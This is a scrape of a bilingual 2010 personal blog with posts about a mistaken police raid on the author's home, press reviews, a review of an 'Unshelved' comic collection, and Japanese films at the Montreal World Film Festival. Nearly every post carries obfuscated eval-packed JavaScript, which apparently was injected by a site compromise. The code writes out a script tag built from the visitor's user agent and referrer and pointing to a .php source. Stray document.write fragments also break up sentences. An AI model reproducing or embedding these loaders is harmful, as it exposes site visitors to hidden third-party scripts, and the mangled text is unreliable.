“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nibeb|var|u0026u|referrer|dbiaa||js|php’.split(‘|’),0,{}))

Des fois on expérimente dans la vie des événements qui, document.write(“”); quand on y repense par la suite, semblaient présager ce que l’avenir nous réservait. Je ne saurais dire si cela est le résultat de quelque extraordinaire coïncidence ou d’une sorte d’étrange alignement karmique, mais cela m’est arrivé à quelques reprises. Par exemple, je me souviens avoir vu, à la fin de l’été 2001, un reportage sur la situation en Afghanistan, puis, quelques jours plus tard à une conférence de presse du Festival des Films du Monde, j’ai vu un groupe de femmes afghanes faire un éclat pour attirer l’attention sur leur situation sous les talibans. Une semaine plus tard, deux avions de ligne percutaient les tours du World Trade Center, menant ultimement à la guerre en Afghanistan… La conjoncture de ces événements dans ma vie me donna une sinistre impression.

Et bien hier j’ai de nouveau expérimenté cette étrange conjoncture…

Mercredi dernier, dans le cadre des “Grands Reportages”, Radio-Canada montrait le documentaire La Rafle qui décrivait les abus policers et la suspension des droits civils suite aux arrestations arbitraires qui eurent lieu lors des “Événements d’Octobre” de 1970 et dont on commémorait le quarantième anniversaire. Je n’avais pas le temps d’écouter ce reportage alors je l’ai enregistré sur l’enregistreur video personal (EVP) de mon terminal illico. Hier, au retour du travail, j’ai décider de le visionner tout en mangeant mon souper. Intéressante, cette période de notre histoire. Heureusement, des choses comme ça ne pourraient plus se produire de nos jours (famous last word / claquement de tonnerre sinistre). Je ne n’avais aucune idée de ce que cela pourrait présager pour moi… (mais j’aurais du me douter qu’une date comme le 10-10-10 me réserverait quelques surprises: on me dit qu’en binaire ce chiffre fait quarante-deux — un nombre significatif si on en croit le Hitchhiker’s Guide to the Galaxy!)

“Book ‘im, Danno!”

Après avoir visionné “La Rafle” j’ai continué à regarder des émissions de télé pré-enregistrées, jusqu’à ce que le buzzer et la sonnette de la porte d’entrée retentissent tous deux avec insistance. Il est à peu près vingt-heure trente: je ne reçoit pratiquement jamais de visiteurs (surtout pas en soirée) et il est encore trop tôt pour que ma femme revienne de son travail. Je vais donc ouvrir la porte d’entrée avec une prudente curiosité.

Sur le perron je découvre quatre agents de police plus ou moins disposés en éventail devant la porte. J’ai un bref moment de panique et imagine qu’il est arrivé quelque chose à ma femme. Je n’ai cependant pas le temps de dire quoique ce soit, notant en un éclair que deux des policiers ont la mains sur leurs armes de service, que l’un d’entre eux me demande poliment de sortir sur le balcon. Tout se passe très vite: je suis éberlué par la tournure des événements et dans le temps de le dire je suis fouillé pour s’assurer que je ne dissimule pas d’armes et je suis menottée les mains derrières le dos. On m’explique alors (c’est toujours le même policier qui parle; c’est sans doute le plus haut gradé des quatre), lentement et calmement, qu’un appel anonyme les avait averti qu’une femme se faisait violentée au couteau à mon adresse et qu’on voulait simplement fouiller mon appartement pour s’assurer que tout allait bien. Ou bien c’était la femme elle-même qui, poursuivit par son conjoint avec un couteau, s’était enfermée dans la salle de bain et avait appelé la police avec son cellulaire; je ne sais plus, je ne me souviens plus très bien de l’explication. J’ai protesté faiblement que j’étais seul dans l’appartement, qu’il n’y avait personne d’autre et que ma femme était encore à son travail. Quelques instant plus tard, deux policiers ayant fait le tour de la place et constaté qu’effectivement il n’y avait rien à signaler et que j’étais bien seul, on m’a libéré avec des excuses qui semblaient bien sincères.

J’ai alors cherché à avoir quelques explications. “Vous êtes bien sûr que c’était mon adresse?” ai-je demandé. “Vous savez les livreurs de restaurants passe leur temps à venir sonner chez moi alors que leur destination véritable est la rue d’à côté. Ça ne serait pas la première fois que quelqu’un se trompe d’adresse” dis-je sur un ton nerveux qui essayait de détendre l’atmosphère. On m’assure qu’il n’y a pas d’erreur et que c’est bel et bien l’adresse qu’on leur a donné. Je demande à avoir du suivi sur cette affaire, si cela est possible. Les policiers sont parti, me laissant sur le perron à m’inquiéter que mes chats aient profité de la porte restée ouverte plusieurs minutes pour s’échapper. Mais heureusement l’un dormait profondément sur le divan du salon et l’autre, plutôt peureux, se cachait au sous-sol. Les policiers sont resté un petit bout de temps dans leur voitures de patrouille, attendant sans doute de nouvelles instructions.

J’en conclu que tout cela est peut-être un canular (bien méchant) ou que les téléphonistes du 911 aurait mal comprit l’adresse. Cela a, dans les deux cas, des conséquences désagréables pour quelqu’un: dans un cas mon amour-propre a été blessé (se faire ainsi menotter sur son perron, nue pied et en robe de chambre, à la vue de tout les voisins, c’est assez humiliant!), dans l’autre il y a une victime espérant des secours qui n’arrive pas…

But who watches the watchmen?

J’ai passé un coup de fil à ma sœur. Parler de cette aventure rocambolesque m’a aidé à me calmer. Puis je suis retourné regarder la télé…

Toutefois, si l’on laisse une graine de paranoïa germer pour un instant, la question se pose: n’est-il pas un peu trop facile pour les forces de l’ordre d’arrêter les gens, des pénétrer dans leur domicile sans mandat et de fouiller les lieux? Et qui sait ce qu’ils auraient pu faire d’autre dans mon appartement pendant que j’étais menoté à l’extérieur?

Bien sûr, on peut toujours argumenter que les policiers ont été poli, efficace, et qu’ils avaient des raisons justifiées (“probable cause” comme ils disent dans les séries télé) d’agir comme ils l’ont fait. Après tout ils ne faisaient que leur travail et nous en sommes plus sécure. Mais n’empêche que, quand c’est à vous que ça arrive, ce n’est jamais drôle. L’adrénaline me monte au nez rien que d’y penser et la vue d’une voiture de police me donne encore d’étranges sueurs froides…

Si je n’avait pas écrit ceci je pourrais croire, maintenant, que tout cela n’était qu’un (mauvais) rêve…

Il faut aussi croire que je ne suis pas le seul à qui une telle aventure est arrivée durant ce long week-end… Étrange, vraiment étrange.

Update (2010-10-12): Après une visite au poste de police pour obtenir des clarifications, il s’avère que l’appel a été placé à la police de Longueuil. Aucune addresse n’ayant été donné, l’appel cellulaire a été triangulé à mon addresse — où la police n’a trouvé qu’un “homme en pyjama regardant la télé avec son chat”. Il a par la suite été établi que la dame en détresse était localisée à Rougemont en Montérégie! J’ai donc été victime d’une défaillance technologique… C’est beau le progrès!

Revue de Presse / Press Review (2010/10/09)

Personal update: I worked another 6-day week and this time it was more tiring because I had to get up earlier several days in a row (therefore sleeping less). No time to do anything but read the news… And for that it was a good week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhdnt|var|u0026u|referrer|knery||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdhr|var|u0026u|referrer|idtti||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Tony Curtis (1925-2010)

To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsysz|var|u0026u|referrer|rtsnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhkys|var|u0026u|referrer|fstdf||js|php’.split(‘|’),0,{}))

Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Unshelved #8: Large Print

Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbadd|var|u0026u|referrer|iefnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skhhd|var|u0026u|referrer|skzkd||js|php’.split(‘|’),0,{}))

“What do you get when you mix adults, teenagers, children, babies, seniors, professionals, parents, teachers, students, homeschoolers, and the homeless? That very funniest of places, your local public library, home of the hugely popular Web comic Unshelved.” [texts from the back cover]

Everything in this comic is eerily familiar: it tells the daily life of the staff from a dysfunctional library. Large Print is the eighth yearly compilation of Unshelved, a daily online comic strip originally published on the Unshelved website from February 16, 2009 to April 26, 2010, and ALA CogNotes newspapers in June 2009 and January 2010 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous volumes in the blog entries “Unshelved” and “Unshelved #7: Reader’s Advisory”. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

This volume is noticeably more hillarious than the previous one. Everyone will laugh at the funny and often absurd situations happening in the Mallville public library. I am probably laughing even harder because I recognize myself a lot in there, since I experienced first-hand many of those situations. It’s written by a real-life librarian and it shows. Of course, the art is a little crude and cartoony, but —as I often say— it’s the story that counts.

This volume has something new: it has a few comments from the writers underneath the strips. It’s interesting to read and I would have liked to have more of those. Also, this time the book is in a smaller format and in b&w only. However, since part of the book deals with how the library is coping with the recession, I think this downsizing is befitting the story. Large Print is compiling 313 daily strips (mostly in their original publishing order), 16 “Library Tips”, and 9 ALA “Conference Tips”. Unfortunately, the color “Book Club” pages (where the authors illustrate book recommendations) are absent and I am quite disappointed with this (however you can still read them online). But I guess it was necessary if they wanted the book to be only in b&w. All in all, Large Print offers a good laugh, particularly if you have ever spent some time in a public library. Highly recommended.

One of my favourite strips (from 2009/10/26):
My top 25 strips (in the order they appear in the book): 2009/03/02, 2009/03/07, 2009/03/25, 2009/04/01, 2009/04/13, 2009/05/02, 2009/05/12, 2009/06/09, 2009/06/06, 2009/07/17, 2009/07/22, 2009/08/05, 2009/10/26, 2009/10/17, 2009/10/06, 2009/10/08, 2009/10/19, 2009/12/08, 2009/12/29, 2009/12/31, 2010/03/03, 2010/03/22, 2010/04/01, 2010/04/22, and 2010/04/20.

Unshelved Vol. 8: Large Print, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2010. 21.8 x 17 cm, 128 pgs., $11.95 US / $14.95 CDN. ISBN-13: 978-09740353-7-6.

Unshelved: Large Print © 2009 & 2010 Overdue Media LLC. All rights reserved.

P.S.: I pre-ordered this book via amazon.ca in january 2010. It was due to be released in mid-July, but it was only delivered in mid-September even if it had been available through the publisher’s web site since july… Go figure! It is also disappointing that this book is not available at all through my local libraries network (where I work)!

Revue de Presse / Press Review (2010/09/16)

Personal update: We started feeling that automn is getting close as the temperature has sharply dropped around 12’C. I’ve got my schedule for the new season and its nothing to get excited about: twenty hours over four days that I will complete with ponctual replacements. Unfortunately, document.write(“”); in order to reach a thirty-five-hour week I’ll have to work six days, like this week. So today is my only day off of the week. I have to cram all the house chores, as well as the blog updates, in this one day and still find time to rest and relax while reading and watching tv (my wife and I recently finished watching Upstairs, Downstairs and just started watching Shogun again)! I’ll try not to work six days a week too often (if I want to stay healthy and sane). Strangely, there was lots of interesting news this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssaky|var|u0026u|referrer|rahbd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beakh|var|u0026u|referrer|setbh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Villain / Akunin (video)

Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeba|var|u0026u|referrer|zzskh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dibzs|var|u0026u|referrer|tyher||js|php’.split(‘|’),0,{}))

Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzat|var|u0026u|referrer|frznh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabhk|var|u0026u|referrer|aysna||js|php’.split(‘|’),0,{}))

Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nznez|var|u0026u|referrer|zhdth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkhhs|var|u0026u|referrer|dkdzr||js|php’.split(‘|’),0,{}))

Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Revue de Presse / Press Review (2010/09/06)

Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdfft|var|u0026u|referrer|fydak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbtsa|var|u0026u|referrer|nfanz||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news


Books, Digital Edition & Library

Economy, Environment & International Politics/News

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Revue de Presse / Press Review (2010/08/27)

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnzrk|var|u0026u|referrer|draef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhdas|var|u0026u|referrer|enstk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

“Sword of Desperation” press conference

Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyane|var|u0026u|referrer|rersh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drast|var|u0026u|referrer|rzaak||js|php’.split(‘|’),0,{}))

A
video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Montreal World Film Festival 2010

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfdsd|var|u0026u|referrer|nzisd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidtd|var|u0026u|referrer|rhfrd||js|php’.split(‘|’),0,{}))

“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
